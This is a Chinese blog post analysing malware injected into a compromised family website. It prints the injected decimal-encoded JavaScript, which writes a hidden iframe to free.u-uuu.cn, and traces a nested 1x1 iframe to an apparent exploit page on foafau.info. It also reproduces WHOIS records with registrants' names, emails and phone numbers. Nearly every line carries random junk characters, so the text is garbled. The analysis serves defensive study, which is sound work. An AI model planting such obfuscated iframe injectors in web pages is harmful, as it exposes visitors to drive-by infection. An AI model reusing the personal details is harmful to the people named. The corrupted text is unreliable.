首发在我的博客里面，
=au!rda HB$?}V http://www.areway.cn/?p=175 z}.6yHS [^bq?w Q-F$Ryj^ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
<1Sj_HC T zK1]o-wSAT <script>t=’60,105,102,114,97,109,101,
Lccy~2v> 32,115,114,99,61,104,116,116,112,58,47,47,
guGX
G+ 102,114,101,101,46,117,45,117,117,117,46,99,
rFkZ'rp74b 110,47,101,114,114,111,114,46,104,116,109,
b S gbvnJ 32,119,105,100,116,104,61,49,48,48,32,104,
surNJ,) 101,105,103,104,116,61,48,62,60,47,105,102,
^);M}~ 114,97,109,101,62′;
+]( y t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
x- ue1 QT73=>^B <script>t=’60,105,102,114,97,109,101,32,115,
&7>]# *
114,99,61,104,116,116,112,58,47,47,102,114,
H_t0$x(\ 101,101,46,117,45,117,117,117,46,99,110,47,
<6Y;VH^_ 101,114,114,111,114,46,104,116,109,32,119,
-y|']I^ & 105,100,116,104,61,49,48,48,32,104,101,105,
m &D I2he 103,104,116,61,48,62,60,47,105,102,114,97,
Fw{# 4 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
"+Ys}t~2 document.write(t);</script>
n}e%c B )?{!7/H F@ <html xmlns=”
s3nt2$=:t http://www.w3.org/1999/xhtml <H-kR\HF “>
g-_=$#&{ <head>
1%R${Qhr <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
XTk
:lzFH <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
+ !px+*)bW <title>首页 - 爱生活家庭网
pU<J?cU8N +r//8& 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Mp!1x x 转换字符串后的大概内容是（谁点击后果自付）：
)V >zXy}Y <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
j6~`C
?( \}u/0UF97 查询玉米u-uuu.cn的详细信息：
UF6U5],`u Domain Name: u-uuu.cn
+J;b3UE# ROID: 20070901s10001s64972306-cn
m9sck:g#L1 Domain Status: ok
);}M"W8 Registrant Organization: 王雷
<YEKbnw$o Registrant Name: 王雷
$IX(a4' Administrative Email:
czlovexs@126.com E<u(Yw6= Sponsoring Registrar: 北京万网志成科技有限公司
J a4M@z Name Server:ns.yovole.com
Pi |Z\j) Name Server:ns1.yovole.com
"eOl(TSu/ Registration Date: 2007-09-01 17:54
' n h2} Expiration Date: 2008-09-01 17:54
-AD` (b7q 最后PING了一下地址 都没有什么….
*y7 Yf7 @M-Q| 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
" nfi :A1 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
>R6mI <script language=”javascript” src=”
4guR8 elM http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script k:j_:C&. >
.>[l @x" 这个玉米应该有可能是木马作者的：
{d xl8~/I foafau.info的详细信息：
l/B+k Access to INFO WHOIS information is provided to assist persons in
:=+YZ|& j determining the contents of a domain name registration record in the
||TZ[l Afilias registry database. The data in this record is provided by
I ~YV&12
Afilias Limited for informational purposes only, and Afilias does not
4:Ju|g]O guarantee its accuracy. This service is intended only for query-based
"$J5cco access. You agree that you will use this data only for lawful purposes
"s] and that, under no circumstances will you use this data to: (a) allow,
W.cc!8 enable, or otherwise support the transmission by e-mail, telephone, or
nsXG@C S : facsimile of mass unsolicited, commercial advertising or solicitations
O`%F{&;29 to entities other than the data recipient’s own existing customers; or
lDKyD`WKnZ (b) enable high volume, automated, electronic processes that send
&nVekE:! queries or data to the systems of Registry Operator, a Registrar, or
)p;t
'*] Afilias except as reasonably necessary to register domain names or
+$VDV4l modify existing registrations. All rights reserved. Afilias reserves
8mRZ(B>% X the right to modify these terms at any time. By submitting this query,
4|5;nxkGm8 you agree to abide by this policy.
Hf1b&8&:K Domain ID:D22418703-LRMS
0F_hXy@K Domain Name:FOAFAU.INFO
nVgvn2N/ Created On:20-Nov-2007 16:05:42 UTC
._A4 : Last Updated On:20-Nov-2007 16:05:44 UTC
F @Wi[ K Expiration Date:20-Nov-2008 16:05:42 UTC
Q x|HvT2P Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
M;3q.0MU Status:CLIENT DELETE PROHIBITED
p$x>I3C(\ Status:CLIENT RENEW PROHIBITED
'WmjQ sf Status:CLIENT TRANSFER PROHIBITED
we!w5./Xm Status:CLIENT UPDATE PROHIBITED
\}k R'l Status:TRANSFER PROHIBITED
AX6:*aZB Registrant ID:GODA-040110615
D$ H&^,? N Registrant Name:liu hong
Tmu2G /yi Registrant Organization:
X6$Cd]MN Registrant Street1:beijing
6|n3Q$p Registrant Street2:
/g9^g( Registrant Street3:
KVEc:<|x Registrant City:beijing
TC'SDDX Registrant State/Province:
e ]; IQ| Registrant Postal Code:100000
XVfUr\=,T Registrant Country:CN
3$K[(>s Registrant Phone:+86.860108888777
tP2.D:( R Registrant Phone Ext.:
(vi^ t{k Registrant FAX:
S5F5Tr;TN Registrant FAX Ext.:
|? ^N @ Registrant Email:bbbshiji@163.com
, \3Cq2h Admin ID:GODA-240110615
5%V(eR Admin Name:liu hong
[)8O \/: Admin Organization:
+ `'wY? Admin Street1:beijing
9{S$%D Admin Street2:
R8!~>$#C6) Admin Street3:
. 8ikcs Admin City:beijing
#n.v#FyNx Admin State/Province:
?5lO1( Admin Postal Code:100000
47*2QL^zj Admin Country:CN
[J eq ?X9 Admin Phone:+86.860108888777
$I#~<bW, Admin Phone Ext.:
uX{g4#eG Admin FAX:
Y:Lkh>S1Q Admin FAX Ext.:
g26_#4 P Admin Email:bbbshiji@163.com
rP"Y.;s Billing ID:GODA-340110615
-H[@]Q4w Billing Name:liu hong
g}hNsU=$5~ Billing Organization:
S7cD}yx*[ Billing Street1:beijing
ND=JpVkvZ? Billing Street2:
[ 4IqHe Billing Street3:
Wie0r@5E Billing City:beijing
F2 <Q~g Q; Billing State/Province:
VB8eGMo Billing Postal Code:100000
J?Q@f
Billing Country:CN
]0% { IgB Billing Phone:+86.860108888777
9aIv|cS? Billing Phone Ext.:
`2V{]F Billing FAX:
C deV3 Billing FAX Ext.:
>nK ( Billing Email:bbbshiji@163.com
@V Tw>=94 Tech ID:GODA-140110615
Y}yh6r;i Tech Name:liu hong
gr.G']9lNq Tech Organization:
&lzCRRnvt Tech Street1:beijing
9M|#X1r{%{ Tech Street2:
g}9heR Tech Street3:
vt(n: Xk Tech City:beijing
l#>A.-R*` Tech State/Province:
%){/O}I]> Tech Postal Code:100000
33hP/p% Tech Country:CN
~:_10g]r Tech Phone:+86.860108888777
#q&N d2y Tech Phone Ext.:
[fkt3fS Tech FAX:
_qt Tech FAX Ext.:
Xo.3OER Tech Email:bbbshiji@163.com
P$clSJW Name Server:NS27.DOMAINCONTROL.COM
d] E.F64{ Name Server:NS28.DOMAINCONTROL.COM
pMU UF5 Name Server:
+f_3JL$ Name Server:
-&v0JvTJ9j Name Server:
C'sA 0O@O Name Server:
=1O;,8` Name Server:
Q 5 Mn= Name Server:
uBM%E OE Name Server:
f=4q]y#& X Name Server:
sN 1I+X Name Server:
0? KvR``Aj Name Server:
*tDxwD7 Name Server:
/KO2y 0` F22]4DLHO 接着下载每个文件里面的代码：
=}SC .E\ 一步一步看..
k)9
pkPl 
zj1_# =] 
i ^}DIx{ 
DPl &e-` 
2>Kn' p 
h>|IA@;|f 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
